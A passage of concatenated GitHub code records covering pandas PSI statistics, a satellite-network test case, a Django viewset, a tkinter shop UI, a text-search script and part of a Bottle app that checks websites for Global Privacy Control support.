',e)\n\n # groupby, x col & tim(freq) col\n result_df_tot = pd.pivot_table(data, index= x, columns= 'by_tim', values= target, aggfunc = 'count').fillna(0)\n result_df_bad = pd.pivot_table(data, index= x, columns= 'by_tim', values= target, aggfunc = np.sum).fillna(0)\n\n # cal badrate\n result_df_bad.columns = ['%s_Bad'%col for col in result_df_tot.columns]\n result_df = pd.concat([result_df_bad, result_df_tot], axis = 1)\n result_df.loc['总计',:] = result_df.sum(axis= 0)\n # rename badrate col\n for col in result_df_tot.columns:\n result_df['%s_Bad%%'%col] = result_df['%s_Bad'%col]/(result_df[col])\n # PSI\n result_df_psi = result_df_tot\n for i,col in enumerate(result_df_tot.columns):\n # 把count = 0换成 1 ，避免计算psi时候分母为0的情况\n result_df_psi = result_df_psi.replace(0, 1)\n result_df_psi[col + '_pct'] = result_df_psi[col]/result_df_psi[col].sum()\n if col == result_df_psi.columns[0]:\n pass\n else:\n base_col = col + '_pct'\n comp_col = result_df_psi.columns[i-1] + '_pct'\n result_df_psi[col + '_psi'] = (result_df_psi[base_col] - result_df_psi[comp_col]) * np.log(result_df_psi[base_col] / (result_df_psi[comp_col]))\n\n result_df_psi.loc['总计',:] = result_df_psi.sum(axis= 0)\n # concat groupby table, badrate, psi\n keep_col = [col for col in result_df_psi.columns if 'psi' in col]\n result_df = pd.concat([result_df, result_df_psi.loc[:,keep_col]], axis =1).fillna(0)\n\n return result_df\n\n\n\n\ndef check_target(data,target):\n target_unique = list(data[target].unique())\n target_unique.sort()\n if target_unique == [0,1]:\n pass\n else:\n raise ValueError('>>>There are %d unique value in target: %s, make sure it is binary target'%(len(target_unique), target_unique) )\n\ndef cal_cross_var(data, target, cross_var, cal_pas = False):\n '''\n :param data:\n :param target: str\n :param cross_var: list, eg:['var1','var2']\n :param cal_pas: bool\n :return: dataframe\n '''\n if cal_pas == True:\n prefix = 'Accpt'\n else:\n prefix = 'Bad'\n check_target(data,target)\n df_tot = data.pivot_table(index = cross_var[0], columns = cross_var[1],values= target ,aggfunc='count' ,fill_value=0)\n df_tot.loc[:,'总计'] = df_tot.sum(axis= 1)\n df_bad = data.pivot_table(index = cross_var[0], columns = cross_var[1],values= target ,aggfunc=np.sum ,fill_value=0)\n df_bad.loc[:,'总计'] = df_bad.sum(axis= 1)\n df_bad.columns = ['%s_%s'%(col,prefix) for col in df_bad.columns]\n df_merge = pd.concat([df_tot, df_bad],axis= 1)\n df_merge.loc['总计',:] = df_merge.sum(axis= 0)\n # rename badrate col\n for col in df_tot.columns:\n df_merge['%s_%s%%'%(col,prefix)] = df_merge['%s_%s'%(col,prefix)]/(df_merge[col])\n df_merge.drop(['总计','总计_%s'%(prefix)],axis=1, inplace=True)\n return df_merge\n","repo_name":"Vivian-Chao/strategy_generator","sub_path":"Scripts/VarStatis.py","file_name":"VarStatis.py","file_ext":"py","file_size_in_byte":7647,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"27018051772","text":"from src.custom_test_case import CustomTestCase\nfrom src import nms_api, test_api\nfrom src.enum_types_constants import ControllerModes, Checkbox, StationModes, RouteTypes, RouteIds\n\noptions_path = 'test_scenarios.composite_scenarios.network_up'\nbackup_name = 'default_config.txt'\n\n\nclass BigStarNetCase(CustomTestCase):\n \"\"\"Star network with 20 stations UP case\"\"\"\n\n __author__ = 'dkudryashov'\n __version__ = '0.1'\n __execution_time__ = None # approximate case execution time in seconds\n\n @classmethod\n def set_up_class(cls):\n nms_options = test_api.get_nms()\n nms_api.connect(nms_options.get('nms_ip'), nms_options.get('username'), nms_options.get('password'))\n nms_api.load_config(backup_name)\n test_options = test_api.get_options(options_path)\n\n controllers, stations = test_api.get_uhp_controllers_stations(1, ['UHP200X', ], 20, ['ANY', ])\n\n net = nms_api.create('nms:0', 'network', {'name': 'test_net'})\n tp = nms_api.create(net, 'teleport', {'name': 'test_tp', 'rx1_lo': 0, 'rx2_lo': 0, 'tx_lo': 0})\n mf_hub = nms_api.create(net, 'controller', {\n 'name': 'mf_hub',\n 'mode': ControllerModes.MF_HUB,\n 'teleport': tp,\n 'device_ip': controllers[0].get('device_ip'),\n 'device_vlan': controllers[0].get('device_vlan'),\n 'device_gateway': controllers[0].get('device_gateway'),\n 'uhp_model': controllers[0].get('model'),\n 'tx_on': Checkbox.ON,\n 'tx_level': test_options.get('tx_level'),\n 'stn_number': 21,\n })\n rx1_frq = nms_api.get_param(mf_hub, 'tx_frq')\n rx1_sr = nms_api.get_param(mf_hub, 'tx_sr')\n vno = nms_api.create(net, 'vno', {'name': 'test_vno'})\n\n ser = nms_api.create(net, 'service', {'name': 'local_ser', 'stn_vlan': stations[0].get('device_vlan')})\n for i in range(len(stations)):\n nms_api.create(vno, 'station', {\n 'name': f'stn{i}',\n 'serial': stations[i].get('serial'),\n 'enable': True,\n 'mode': StationModes.STAR,\n 'rx_controller': mf_hub,\n })\n nms_api.create(f'station:{i}', 'route', {\n 'type': RouteTypes.IP_ADDRESS,\n 'service': ser,\n 'ip': stations[i].get('device_ip'),\n 'id': RouteIds.PRIVATE\n })\n nms_api.create(f'station:{i}', 'route', {\n 'type': RouteTypes.STATIC_ROUTE,\n 'service': ser,\n 'ip': '0.0.0.0',\n 'mask': '/0',\n 'gateway': stations[i].get('device_gateway'),\n 'id': RouteIds.PRIVATE\n })\n stations[i].get('web_driver').star_station(params={\n 'rx1_frq': rx1_frq,\n 'rx1_sr': rx1_sr,\n 'tx_level': test_options.get('tx_level'),\n })\n\n controllers[0].get('web_driver').set_nms_permission(vlan=controllers[0].get('device_vlan'), password='')\n if not nms_api.wait_up(mf_hub, timeout=60):\n test_api.error('MF hub is not UP')\n for i in range(len(stations)):\n if not nms_api.wait_up(f'station:{i}', timeout=60):\n test_api.error(f'Station {i+1} is not UP')\n\n def test_big_net(self):\n \"\"\"One line string describing the test method\"\"\"\n self.assertTrue(True)\n","repo_name":"underdark456/test_system","sub_path":"test_scenarios/composite_scenarios/network_up/case_big_star_net.py","file_name":"case_big_star_net.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"33585754025","text":"from rest_framework import viewsets\nfrom api.serializers import AssignmentSerializer\nfrom rest_framework.status import (\n HTTP_201_CREATED,\n HTTP_400_BAD_REQUEST,\n HTTP_200_OK,\n HTTP_500_INTERNAL_SERVER_ERROR\n)\nfrom rest_framework.response import Response\nfrom api.models import Assignment, GradedAssignment\nfrom api.utils import Utils\n\n\nclass AssignmentViewSet(viewsets.ModelViewSet):\n serializer_class = AssignmentSerializer\n queryset = Assignment.objects.all()\n\n def get_queryset(self):\n queryset = Assignment.objects.all()\n if self.request.user.is_student:\n return queryset\n\n user_id = self.request.user.id\n\n if user_id is not None:\n queryset = queryset.filter(teacher__id=user_id)\n\n return queryset\n\n def create(self, request):\n serializer = AssignmentSerializer(data=request.data)\n if serializer.is_valid():\n assignment = serializer.create(request)\n if assignment:\n return Response(status=HTTP_201_CREATED)\n return Response(data=serializer.errors, status=HTTP_400_BAD_REQUEST)\n\n def update(self, request, pk):\n assignment = Assignment.objects.get(id=request.data['id'])\n serializer = AssignmentSerializer(assignment, data=request.data)\n if serializer.is_valid():\n assignment = serializer.update(assignment, request)\n if assignment:\n return Response(status=HTTP_201_CREATED)\n return Response(data=serializer.errors, status=HTTP_400_BAD_REQUEST)\n","repo_name":"siramk/Assignment-Explorer","sub_path":"api/views/assignments.py","file_name":"assignments.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"24078451968","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Aug 27 14:51:33 2019\r\n\r\n@author: Student\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.optimize import curve_fit\r\n\r\nx = np.linspace(-15, 15, 10)\r\ny = 2*x + 2\r\ny2 = -0.5*x + 2 #Perpendicular Slope to 2x is -0.5\r\n\r\nplt.plot(x, y, color = \"green\", label = \"y = 2x + 2\")\r\nplt.plot(x, y2, color = \"red\", label = \"y = -0.5x + 2\")\r\naxes = plt.gca()\r\naxes.set_aspect(aspect = \"equal\")\r\naxes.set_xlim([-15, 15])\r\nplt.xlabel(\"x\")\r\nplt.ylabel(\"y\")\r\nplt.show()\r\n\r\nx = np.linspace(-5, 5, 10)\r\ny = x**2\r\nplt.plot(x, y, color = \"green\", label = \"y = x^2\")\r\n","repo_name":"mjyb16/520-Codes","sub_path":"linearplot.py","file_name":"linearplot.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"36909883775","text":"from __future__ import print_function\nimport time\n\n#start time measure\nstart_time = time.time()\n\n#our function that finds matches in a given article using only indexing\ndef everything(index_list, word_list, num_list):\n\t#define all variables we need to use\n\tindex = 0\n\tindices = [0] * len(index_list)\n\tnum_of_lists = len(index_list) - 1\n\tnum_of_words = [len(y) - 1 for y in index_list]\n\tdone = False\n\tresults = []\n\t\n\t#we want to keep looping until we have checked all possible matches\n\twhile not done:\n\t\t#simple, try...except here for debugging purposes\n\t\ttry:\n\t\t\t#the way we do this is by checking the distance between words number index and index + 1 and see if that matches\n\t\t\t#the given interval from numlist\n\n\t\t\t#here we compare the two neighbouring values and we either:\n\t\t\tif (num_list[index][0]) <= (index_list[index+1][indices[index+1]] - len(word_list[index]) - index_list[index][indices[index]]) <= (num_list[index][1]):\n\t\t\t\t#The latter word is the last word in the list: We gather the result and start again\n\t\t\t\tif index + 1 == num_of_lists:\n\t\t\t\t\tresults.append(((index_list[0][indices[0]]), (index_list[index+1][indices[index+1]]+len(word_list[index+1])) ))\n\t\t\t\t\t#we need to make sure to leave all lists and indexes in the correct state before beginning again\n\t\t\t\t\t#we therefore loop through all indices and check them if they need to be changed or incremented\n\t\t\t\t\t#and likewise to which point we should move the index\n\t\t\t\t\tfor j in range(num_of_lists,-1,-1):\n\t\t\t\t\t\tif indices[j] < num_of_words[j]:\n\t\t\t\t\t\t\tindices[j] += 1\n\t\t\t\t\t\t\tif j == 0:\n\t\t\t\t\t\t\t\tindex = 0\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tindex = j-1\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif j == 0:\n\t\t\t\t\t\t\t\t#flip the flag\n\t\t\t\t\t\t\t\tdone = True\n\t\t\t\t\t\t\t\t#we are finished\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tindices[j] = 0\n\t\t\t\t#The latter word is not the last word: We then check the next two values (increment index)\n\t\t\t\telse:\n\t\t\t\t\tindex += 1\n\t\t\t\t\t \n\t\t\telse:\n\t\t\t\t#The index for the latter word is the last index for that word in the article\n\t\t\t\tif indices[index+1] == num_of_words[index+1]:\n\t\t\t\t\t#The index for the first word is the last index for that word in the article\n\t\t\t\t\tif indices[index] == num_of_words[index]:\n\t\t\t\t\t\t#we need to make sure to leave all lists and indexes in the correct state before beginning again\n\t\t\t\t\t\t#we therefore loop through all indices and check them if they need to be changed or incremented\n\t\t\t\t\t\t#and likewise to which point we should move the index\n\t\t\t\t\t\tfor j in range(index+1,-1,-1):\n\t\t\t\t\t\t\tif indices[j] < num_of_words[j]:\n\t\t\t\t\t\t\t\tindices[j] += 1\n\t\t\t\t\t\t\t\tif j == 0:\n\t\t\t\t\t\t\t\t\tindex = 0\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tindex = j-1\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tif j == 0:\n\t\t\t\t\t\t\t\t\t#flip the flag\n\t\t\t\t\t\t\t\t\tdone = True\n\t\t\t\t\t\t\t\t\t#we are finished\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\tindices[j] = 0\n\t\t\t\t\telse:\n\t\t\t\t\t\t\t#we increment the first word and reset the latter word and move the index one step back\n\t\t\t\t\t\t\tindices[index+1] = 0\n\t\t\t\t\t\t\tindices[index] += 1\n\t\t\t\t\t\t\t#if we are at the first word we don't need to move the index\n\t\t\t\t\t\t\tif index == 0:\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tindex -= 1\n\t\t\t\telse:\n\t\t\t\t\t#we increment the index of the latter word\n\t\t\t\t\tindices[index+1] += 1\n\n\t\t#catch out of index errors for debugging\n\t\texcept IndexError:\n\t\t\t#for debugging purposes\n\t\t\timport pdb; pdb.set_trace()\n\t#return the results we no exact duplicates\n\treturn set(results)\n\n\n#this string to your search pattern\nstring_input = '\"first\" [0,85] \"letter\" [0,100] \"alphabet\" [0, 200] \"consonant\"'\n\n#parse the search pattern\nlist_of_words = string_input.split('\"')\nfinal = [x for x in list_of_words if len(x) and '[' not in x]\ncounter = 0\nfinal_nums = [x for x in list_of_words if len(x) and '[' in x]\nfinal_nums = [x.replace(' ', '') for x in final_nums]\nfinal_nums = [x.replace('[', '') for x in final_nums]\nfinal_nums = [x.replace(']', '') for x in final_nums]\nfinal_nums = [x.split(',') for x in final_nums]\nfor list_of_num in range(len(final_nums)):\n\tfor nums in range(len(final_nums[list_of_num])):\n\t\tfinal_nums[list_of_num][nums] = int(final_nums[list_of_num][nums])\n\n#here we will gather the results\nquery_res = []\n\n#specify file to search in\nwith open('clean_a_articles.txt') as f_input:\n\t#loop through the lines(articles)\n\tfor line_1 in f_input:\n\t\t#we first check if the line has all the words we search for\n\t\t#if not we just go straight to the next line(article)\n\t\tif all(x in line_1 for x in final):\n\t\t\tlist_of_lists = []\n\t\t\t#we need the right character encoding\n\t\t\tline = line_1.decode('utf-8')\n\t\t\t#here we loop through the words and gather the indexes\n\t\t\t#of all occurences of all words\n\t\t\tfor i in final:\n\t\t\t\tstart = 0\n\t\t\t\tresult = []\n\t\t\t\twhile True:\n\t\t\t\t\tstart = line.find(i, start)\n\t\t\t\t\tif start == -1: break\n\t\t\t\t\tresult.append(start)\n\t\t\t\t\tstart += len(i)\n\t\t\t\tlist_of_lists.append(result)\n\n\t\t\t#this is simply used to count the articles we found matches in\n\t\t\tlen_before = len(query_res)\n\n\t\t\t#here we call the function that does all the heavy lifting\n\t\t\tsub_result = everything(list_of_lists, final, final_nums)\n\t\t\t#if we got any matches we append them to the query_res\n\t\t\tif sub_result:\n\t\t\t\t[query_res.append(line[x[0]:x[1]].encode('utf-8')) for x in sub_result]\n\t\t\t\n\t\t\t#again using the length of the end result to count number of results\n\t\t\tif(len_before < len(query_res)):\n\t\t\t\tcounter += 1\n#print matches and resulst\nprint(len(query_res))\nprint(counter)\n#uncomment next two lines to see actual matches\n#for i in query_res:\n\t#print(i)\n\n#stop measuring time\nend = time.time()\n\n#print runtime\nprint('Run time: ' + str(end-start_time))","repo_name":"ringoda/challenge_1","sub_path":"third_test.py","file_name":"third_test.py","file_ext":"py","file_size_in_byte":5487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"16137892169","text":"import re\nimport pathlib\nfrom setuptools import setup, find_packages\n\n# project dirs \npackage_source = pathlib.Path(\"tgjson\")\n\nwith open(\"requirements.txt\", encoding=\"utf-8\") as f:\n requirements = f.read().splitlines()\n\nVERSION_FILE = package_source/\"__init__.py\"\ngetversion = re.search(r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\", open(VERSION_FILE, \"rt\").read(), re.M)\nif getversion:\n new_version = getversion.group(1)\nelse:\n raise RuntimeError(f\"Unable to find version string in {VERSION_FILE}.\")\n\nsetup(\n name='tgjson',\n version=new_version, \n description='A example Python package',\n url='https://github.com/ffernandoalves/tgjson',\n author='Fernando Ribeiro Alves',\n author_email='fernandoribeiro889@gmail.com',\n license='MIT',\n packages=find_packages(),\n install_requires=requirements,\n keywords=[\"json\", \"pyrogram\"],\n python_requires='>=3.10',\n classifiers=[\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3.10',\n 'Programming Language :: Python :: 3.11',\n ],\n)","repo_name":"ffernandoalves/tgjson","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"39176281499","text":"#!/usr/bin/env python3\r\nimport db\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\nimport locale\r\nfrom business import Product, LineItem, Cart\r\nimport shopping_cart\r\n\r\nclass shoppingIndex(ttk.Frame):\r\n def __init__(self, parent):\r\n ttk.Frame.__init__(self, parent, padding=\"10 10 10 10\")\r\n self.parent = parent\r\n self.product = Product()\r\n\r\n # Set locale\r\n result = locale.setlocale(locale.LC_ALL, '')\r\n if result == 'C':\r\n locale.setlocale(locale.LC_ALL, 'en_US')\r\n\r\n # Define string variables for text entry fields\r\n self.product0 = tk.StringVar()\r\n self.product1 = tk.StringVar()\r\n self.product2 = tk.StringVar()\r\n self.product3 = tk.StringVar()\r\n self.product4 = tk.StringVar()\r\n self.product5 = tk.StringVar()\r\n self.product6 = tk.StringVar()\r\n self.product7 = tk.StringVar()\r\n self.product8 = tk.StringVar()\r\n self.product9 = tk.StringVar()\r\n self.product10 = tk.StringVar()\r\n self.product11 = tk.StringVar()\r\n self.product12 = tk.StringVar()\r\n self.product13 = tk.StringVar()\r\n\r\n self.initComponents()\r\n\r\n\r\n def initComponents(self):\r\n self.pack()\r\n\r\n # Display the grid of labels and text entry fields\r\n ttk.Label(self, text=\"Cucumber:\").grid(\r\n column=0, row=0, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product0).grid(\r\n column=1, row=0)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=0, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Gherkins:\").grid(\r\n column=0, row=1, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product1).grid(\r\n column=1, row=1)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=1, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Cornichon:\").grid(\r\n column=0, row=2, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product2).grid(\r\n column=1, row=2)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=2, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Brined pickles:\").grid(\r\n column=0, row=3, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product3).grid(\r\n column=1, row=3)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=3, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Kosher Dill:\").grid(\r\n column=0, row=4, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product4).grid(\r\n column=1, row=4)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=4, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Dill:\").grid(\r\n column=0, row=5, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product5).grid(\r\n column=1, row=5)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=5, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Lime Pickles:\").grid(\r\n column=0, row=6, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product6).grid(\r\n column=1, row=6)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=6, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Bread-and-butter Pickles:\").grid(\r\n column=0, row=7, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product7).grid(\r\n column=1, row=7)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=7, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"cinnamon pickles:\").grid(\r\n column=0, row=8, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product8).grid(\r\n column=1, row=8)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=8, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"pressgurka:\").grid(\r\n column=0, row=9, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product9).grid(\r\n column=1, row=9)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=9, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"kool-aid pickles (i swear this is a real thing):\").grid(\r\n column=0, row=10, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product10).grid(\r\n column=1, row=10)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=10, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Pickle:\").grid(\r\n column=0, row=11, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product11).grid(\r\n column=1, row=11)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=11, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Cart total:\").grid(\r\n column=0, row=12, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product12).grid(\r\n column=1, row=12)\r\n ttk.Entry(self, width=25, textvariable=self.product13).grid(\r\n column=2, row=12)\r\n\r\n self.makeButtons()\r\n\r\n\r\n\r\n for child in self.winfo_children():\r\n child.grid_configure(padx=5, pady=3)\r\n\r\n def makeButtons(self):\r\n # Create a frame to store the two buttons\r\n buttonFrame = ttk.Frame(self)\r\n\r\n # Add the button frame to the bottom row of the main grid\r\n buttonFrame.grid(column=4, row=12, columnspan=1, sticky=tk.E)\r\n\r\n # Add two buttons to the button frame\r\n ttk.Button(buttonFrame, text=\"Add to Cart\",) \\\r\n .grid(column=0, row=0, padx=5)\r\n\r\n def checkout(self):\r\n\r\n db.updateproducts()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n cart = Cart()\r\n root = tk.Tk()\r\n root.title(\"Harry Pickle's Delightful Surprise\")\r\n shoppingIndex(root)\r\n root.mainloop()\r\n\r\n","repo_name":"HCraig217/Python-final-project","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":5816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"2876009067","text":"import functools\nimport gevent\nimport idna\nimport logging\nimport re\nimport requests\nimport rfc3339\nimport time\n\nfrom bottle import Bottle, request, response, static_file, template, redirect\nfrom datetime import timedelta\nfrom publicsuffixlist import PublicSuffixList\nfrom requests_oauthlib import OAuth1\nfrom urllib.parse import urlsplit\n\nfrom utils.param_parse import ParamParseError, parse_params, string_param, boolean_param\n\nfrom .misc import html_default_error_hander, security_headers, set_headers\n\n\nlog = logging.getLogger(__name__)\n\n# Disable some logging to reduce log spam.\n# Elasticsearch logs all requests at (at least) INFO level.\nlogging.getLogger('elasticsearch').setLevel(logging.WARNING)\n\nPSL_CACHE_SIZE = 10_000\npsl = PublicSuffixList()\n\n# Domains are a series of two or more names, separated by periods, with an optional trailing period.\n# (Technically one name is allowed, but TLDs aren't usually HTTP sites.)\n# (Note that we actually strip any trailing period during normalization - along with lowercasing\n# characters - but support has been left in the regex for completeness.)\n# Each name can contain latin characters (case insensitive), digits, or dashes.\n# Names can't be longer than 63 characters, or start/end with a dash.\n# The final name - the TLD - can't be numeric (only digits).\nDOMAIN_REGEX = re.compile(r'^(?:[a-z\\d](?:[a-z\\d-]{0,61}[a-z\\d])?\\.)+(?!\\d+\\.?$)[a-z\\d](?:[a-z\\d-]{0,61}[a-z\\d])?\\.?$')\nDOMAIN_MAX_LENGTH = 253\n\nREQUEST_TIMEOUT_INDIVIDUAL = 5\n\nSCAN_START_TIMEOUT = 20\nSCAN_TIMEOUT = 30\nSCAN_AGENT = 'GpcSupBot'\nSCAN_HEADERS = {'User-Agent': f'{SCAN_AGENT}/0.1 (https://gpcsup.com)'}\nROBOTS_MAX_CONTENT_LENGTH = 512 * 1024 # 512kB\nGPC_PATH = '/.well-known/gpc.json'\nGPC_MAX_CONTENT_LENGTH = 1024 # 1kB\n\nSCAN_TTL = timedelta(minutes=10)\nNEXT_SCAN_OFFSET = timedelta(days=7)\nSCAN_FAIL_OFFSETS = [\n timedelta(days=1),\n timedelta(days=7),\n timedelta(days=30),\n]\n\nSCAN_RESULT_MAX_AGE_SECS = SCAN_TTL.seconds\nSCAN_RESULT_HEADERS = {'Cache-Control': f'max-age={SCAN_RESULT_MAX_AGE_SECS}'}\n\nSTATIC_FILE_MAX_AGE_SECS = timedelta(hours=1).seconds\nSTATIC_FILE_HEADERS = {'Cache-Control': f'max-age={STATIC_FILE_MAX_AGE_SECS}'}\n\nSITES_PAGE_SIZE = 8\n\nSERVER_READY = True\n\n\nclass ScanError(Exception):\n \"\"\"The scan has failed, and the user should be shown the specified template.\"\"\"\n\n def __init__(self, template, **kwargs):\n self.template = template\n self.kwargs = kwargs\n\n\n@functools.lru_cache(maxsize=PSL_CACHE_SIZE)\ndef extract_base_domain(domain, return_unknown=True):\n base_domain = psl.privatesuffix(domain)\n # If return_unknown is set, return the domain if its eTLD isn't known.\n if base_domain is None and return_unknown:\n base_domain = domain\n return base_domain\n\n\ndef domain_is_www_subdomain(domain):\n base_domain = extract_base_domain(domain)\n return domain == f'www.{base_domain}'\n\n\ndef normalise_domain(domain):\n domain = domain.lower()\n\n # Handle users copying domains with the scheme attached.\n # Only allow these two schemes - GPC is for HTTP(s).\n if domain.startswith('https://'):\n domain = domain[8:]\n elif domain.startswith('http://'):\n domain = domain[7:]\n\n # Similar to handling schemes, handle one slash at the end of the domain.\n if domain.endswith('/'):\n domain = domain[:-1]\n\n # Strip any optional trailing period from the domain.\n if domain.endswith('.'):\n domain = domain[:-1]\n\n try:\n # Convert to and from IDNA encoding with compatibility mapping enabled to normalise.\n domain = idna.decode(idna.encode(domain, uts46=True))\n except idna.IDNAError:\n # Ignore IDNA errors and return the domain without IDNA normalisation.\n # Any IDNA error will cause check_domain() to fail anyway.\n pass\n\n return domain\n\n\ndef check_domain(domain):\n try:\n # Convert domains to IDNA format before checking length and format.\n idna_domain = idna.encode(domain).decode('ASCII')\n except idna.IDNAError as e:\n log.warning('IDNA error when checking %(domain)s: %(error)s',\n {'domain': domain, 'error': e})\n return False\n\n if len(idna_domain) > DOMAIN_MAX_LENGTH:\n return False\n\n match = DOMAIN_REGEX.fullmatch(idna_domain)\n if match is None:\n return False\n\n return True\n\n\ndef extract_domain_from_url(url):\n split_url = urlsplit(url)\n domain = split_url.netloc\n if ':' in domain:\n domain = domain.split(':', 1)[0]\n\n return normalise_domain(domain)\n\n\ndef construct_app(es_dao,\n service_protocol, service_hostname,\n service_port, service_path,\n well_known_service, testing_mode,\n **kwargs):\n\n app = Bottle()\n app.default_error_handler = html_default_error_hander\n\n app.install(security_headers)\n\n service_address = f'{service_protocol}://{service_hostname}'\n if service_port:\n service_address += f':{service_port}'\n if service_path:\n service_address += service_path\n\n @app.get('/-/live')\n def live():\n return 'Live'\n\n @app.get('/-/ready')\n def ready():\n if SERVER_READY:\n return 'Ready'\n else:\n response.status = 503\n return 'Unavailable'\n\n @app.get('/main.css')\n def css():\n return static_file('main.css', root='static', headers=STATIC_FILE_HEADERS.copy())\n\n # Set CORP to allow Firefox for Android to load icons.\n # Firefox for Android seems to consider the icon loader a different origin.\n #\n # Favicon stuff generated at:\n # https://favicon.io/favicon-generator/?t=gs&ff=Roboto Slab&fs=80&fc=%23fff&b=rounded&bc=%2300885D\n @app.get('/favicon.ico',\n sh_updates={'Cross-Origin-Resource-Policy': 'cross-origin'})\n def icon():\n return static_file('favicon.ico', root='static', headers=STATIC_FILE_HEADERS.copy())\n\n @app.get('/.png',\n sh_updates={'Cross-Origin-Resource-Policy': 'cross-origin'})\n def root_pngs(filename):\n return static_file(f'{filename}.png', root='static', headers=STATIC_FILE_HEADERS.copy())\n\n @app.get('/.js')\n def root_js(filename):\n return static_file(f'{filename}.js', root='static', headers=STATIC_FILE_HEADERS.copy())\n\n @app.get('/.well-known/gpc.json')\n def global_privacy_control():\n return {'gpc': True, 'lastUpdate': '2021-07-17'}\n\n @app.get('/sitemap.xml')\n def sitemap():\n\n total, results = es_dao.find(supports_gpc=True, is_base_domain=True,\n sort=['rank', 'domain'], limit=1000, source=['domain'])\n domains = [result[0]['domain'] for result in results]\n\n for header, value in STATIC_FILE_HEADERS.items():\n response.set_header(header, value)\n response.set_header('Content-Type', 'text/xml')\n return template('sitemap', service_address=service_address, domains=domains)\n\n @app.get('/')\n def index():\n try:\n params = parse_params(request.query.decode(),\n domain=string_param('domain', strip=True,\n min_length=1, max_length=DOMAIN_MAX_LENGTH))\n domain = params.get('domain')\n\n except ParamParseError:\n domain = None\n\n if domain:\n domain = normalise_domain(domain)\n if not check_domain(domain):\n domain = None\n\n scanned_count_gl = gevent.spawn(es_dao.count_scanned, timeout=30)\n reporting_count_gl = gevent.spawn(es_dao.count_reporting, timeout=30)\n\n gevent.joinall([scanned_count_gl, reporting_count_gl], timeout=30)\n scanned_count = scanned_count_gl.get()\n supporting_count, _ = reporting_count_gl.get()\n\n well_known_search = f'{well_known_service}/?q=resource%3Agpc+gpc_support%3Atrue+is_base_domain%3Atrue#results'\n\n r = template('index', domain=domain,\n scanned_count=scanned_count,\n supporting_count=supporting_count,\n well_known_search=well_known_search)\n set_headers(r, STATIC_FILE_HEADERS)\n return r\n\n @app.post('/')\n def check_site():\n try:\n params = parse_params(request.forms.decode(),\n domain=string_param('domain', required=True, strip=True,\n min_length=1, max_length=DOMAIN_MAX_LENGTH),\n 